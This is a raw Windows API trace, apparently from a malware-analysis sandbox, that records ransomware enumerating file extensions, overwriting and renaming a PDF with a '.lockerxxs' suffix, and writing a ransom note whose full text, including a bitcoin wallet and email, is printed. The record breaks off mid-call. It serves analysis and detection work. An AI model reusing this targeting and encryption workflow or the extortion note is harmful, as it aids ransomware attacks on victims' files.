PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.htm") returned 0 [0086.555] lstrlenA (lpString="*.htm") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.xlsx") returned 0 [0086.555] lstrlenA (lpString="*.xlsx") returned 6 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.xls") returned 0 [0086.555] lstrlenA (lpString="*.xls") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.mp4") returned 0 [0086.555] lstrlenA (lpString="*.mp4") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.ppt") returned 0 [0086.555] lstrlenA (lpString="*.ppt") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.pptx") returned 0 [0086.555] lstrlenA (lpString="*.pptx") returned 6 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.doc") returned 0 [0086.555] lstrlenA (lpString="*.doc") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.dot") returned 0 [0086.555] lstrlenA (lpString="*.dot") returned 5 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.docx") returned 0 [0086.555] lstrlenA (lpString="*.docx") returned 6 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.7z") returned 0 [0086.555] lstrlenA (lpString="*.7z") returned 4 [0086.555] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.tar") returned 0 [0086.556] lstrlenA (lpString="*.tar") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.bz2") returned 0 [0086.556] lstrlenA (lpString="*.bz2") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.gz") returned 0 [0086.556] lstrlenA (lpString="*.gz") returned 4 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.mkv") returned 0 [0086.556] lstrlenA (lpString="*.mkv") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.eml") returned 0 [0086.556] lstrlenA (lpString="*.eml") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.msg") returned 0 [0086.556] lstrlenA (lpString="*.msg") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.edb") returned 0 [0086.556] lstrlenA (lpString="*.edb") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.accdb") returned 0 [0086.556] lstrlenA (lpString="*.accdb") returned 7 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.odb") returned 0 [0086.556] lstrlenA (lpString="*.odb") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.java") returned 0 [0086.556] lstrlenA (lpString="*.java") returned 6 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.asm") returned 0 [0086.556] lstrlenA (lpString="*.asm") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.pfx") returned 0 [0086.556] lstrlenA (lpString="*.pfx") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.pem") returned 0 [0086.556] lstrlenA (lpString="*.pem") returned 5 [0086.556] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.p12") returned 0 [0086.557] lstrlenA (lpString="*.p12") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.gpg") returned 0 [0086.557] lstrlenA (lpString="*.gpg") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.vsd") returned 0 [0086.557] lstrlenA (lpString="*.vsd") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.odg") returned 0 [0086.557] lstrlenA (lpString="*.odg") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.raw") returned 0 [0086.557] lstrlenA (lpString="*.raw") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.nef") returned 0 [0086.557] lstrlenA (lpString="*.nef") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.svg") returned 0 [0086.557] lstrlenA (lpString="*.svg") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.psd") returned 0 [0086.557] lstrlenA (lpString="*.psd") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.vmx") returned 0 [0086.557] lstrlenA (lpString="*.vmx") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.vmdk") returned 0 [0086.557] lstrlenA (lpString="*.vmdk") returned 6 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.vdi") returned 0 [0086.557] lstrlenA (lpString="*.vdi") returned 5 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.lay6") returned 0 [0086.557] lstrlenA (lpString="*.lay6") returned 6 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.mpeg") returned 0 [0086.557] lstrlenA (lpString="*.mpeg") returned 6 [0086.557] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.djvu") returned 0 [0086.558] lstrlenA (lpString="*.djvu") returned 6 [0086.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.tiff") returned 0 [0086.558] lstrlenA (lpString="*.tiff") returned 6 [0086.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.backup") returned 0 [0086.558] lstrlenA (lpString="*.backup") returned 8 [0086.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", pszSpec="*.pdf") returned 1 [0086.558] lstrlenA (lpString="*.pdf") returned 5 [0086.558] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf" [0086.558] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf" [0086.558] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf." [0086.558] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf.lockerxxs" [0086.558] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gh-_ye_.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.559] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1511b [0086.559] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbaa834c0, dwHighDateTime=0x1d5e1df), lpLastAccessTime=0x407536*(dwLowDateTime=0xd0eb6b30, dwHighDateTime=0x1d5db9f), lpLastWriteTime=0x40753e*(dwLowDateTime=0xd0eb6b30, dwHighDateTime=0x1d5db9f)) returned 1 [0086.559] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.559] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x150f5, lpOverlapped=0x0) returned 1 [0086.560] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf") returned="gH-_yE_.pdf" [0086.561] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.561] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x150f5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x150f5, lpOverlapped=0x0) returned 1 [0086.562] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.562] CloseHandle (hObject=0x90) returned 1 [0086.562] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gh-_ye_.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gh-_ye_.pdf.lockerxxs")) returned 1 [0086.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc0001dd, dwReserved1=0x4e00c4, cFileName="History", cAlternateFileName="")) returned 1 [0086.564] lstrcmpA (lpString1=".", lpString2="History") returned -1 [0086.564] lstrcmpA (lpString1="..", lpString2="History") returned -1 [0086.564] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\gH-_yE_.pdf") returned="gH-_yE_.pdf" [0086.564] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="History" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History" [0086.564] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History") returned 56 [0086.564] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.565] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.565] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0086.566] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.566] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.566] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0086.566] lstrcmpA (lpString1=".", lpString2="History.IE5") returned -1 [0086.566] lstrcmpA (lpString1="..", lpString2="History.IE5") returned -1 [0086.566] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\*.*") returned="*.*" [0086.566] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\", lpString2="History.IE5" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5" [0086.566] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5") returned 68 [0086.566] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0086.566] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.566] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.566] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.566] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.566] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.566] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.566] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0086.566] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0086.566] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0086.566] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\*.*") returned="*.*" [0086.567] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\" [0086.567] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\") returned="" [0086.567] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" [0086.567] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\how to decrypt files.txt")) returned 0xffffffff [0086.567] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.568] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.568] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.569] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.569] CloseHandle (hObject=0x98) returned 1 [0086.569] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini" [0086.569] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.ems") returned 0 [0086.569] lstrlenA (lpString="*.ems") returned 5 [0086.569] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.db") returned 0 [0086.570] lstrlenA (lpString="*.db") returned 4 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.dbf") returned 0 [0086.570] lstrlenA (lpString="*.dbf") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.myox") returned 0 [0086.570] lstrlenA (lpString="*.myox") returned 6 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.myo") returned 0 [0086.570] lstrlenA (lpString="*.myo") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qbw") returned 0 [0086.570] lstrlenA (lpString="*.qbw") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qbb") returned 0 [0086.570] lstrlenA (lpString="*.qbb") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qbm") returned 0 [0086.570] lstrlenA (lpString="*.qbm") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qbo") returned 0 [0086.570] lstrlenA (lpString="*.qbo") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qbx") returned 0 [0086.570] lstrlenA (lpString="*.qbx") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qba") returned 0 [0086.570] lstrlenA (lpString="*.qba") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qby") returned 0 [0086.570] lstrlenA (lpString="*.qby") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qbj") returned 0 [0086.570] lstrlenA (lpString="*.qbj") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.ofx") returned 0 [0086.570] lstrlenA (lpString="*.ofx") returned 5 [0086.570] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.qif") returned 0 [0086.571] lstrlenA (lpString="*.qif") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mye") returned 0 [0086.571] lstrlenA (lpString="*.mye") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.mbox") returned 0 [0086.571] lstrlenA (lpString="*.mbox") returned 6 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.eml") returned 0 [0086.571] lstrlenA (lpString="*.eml") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", pszSpec="*.pst") returned 0 [0086.571] lstrlenA (lpString="*.pst") returned 5 [0086.571] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini", 